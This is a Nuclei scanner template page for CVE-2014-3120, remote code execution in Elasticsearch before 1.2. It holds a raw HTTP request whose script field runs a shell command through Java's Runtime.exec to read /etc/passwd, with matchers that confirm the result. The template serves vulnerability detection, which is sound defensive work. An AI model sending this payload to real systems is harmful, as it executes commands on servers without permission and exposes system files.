Skip to content
Nuclei Templates

ElasticSearch v1.1.1/1.2 RCE

ID: CVE-2014-3120

Severity: medium

Author: pikpikcu

Tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic

Description

Section titled “Description”

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor’s intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

YAML Source

Section titled “YAML Source”
id: CVE-2014-3120


info:
  name: ElasticSearch v1.1.1/1.2 RCE
  author: pikpikcu
  severity: medium
  description: |
    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system
  remediation: |
    Upgrade to a patched version of ElasticSearch
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
    - https://www.elastic.co/blog/logstash-1-4-3-released
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
    - http://bouk.co/blog/elasticsearch-rce/
    - https://www.elastic.co/community/security/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2014-3120
    cwe-id: CWE-284
    epss-score: 0.53209
    epss-percentile: 0.97602
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic


http:
  - raw:
      - |
        POST /_search?pretty HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded


        {
            "size": 1,
            "query": {
              "filtered": {
                "query": {
                  "match_all": {
                  }
                }
              }
            },
            "script_fields": {
                "command": {
                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
                }
            }
        }


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099be8f1940b0f93f5c1ab874a62c456f72496779b49e95891eb1411e924bec0e02200d0030230bd141e8f71358d225939fab0fb1375a506627ac997dd867d1492332:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-3120.yaml"

View on Github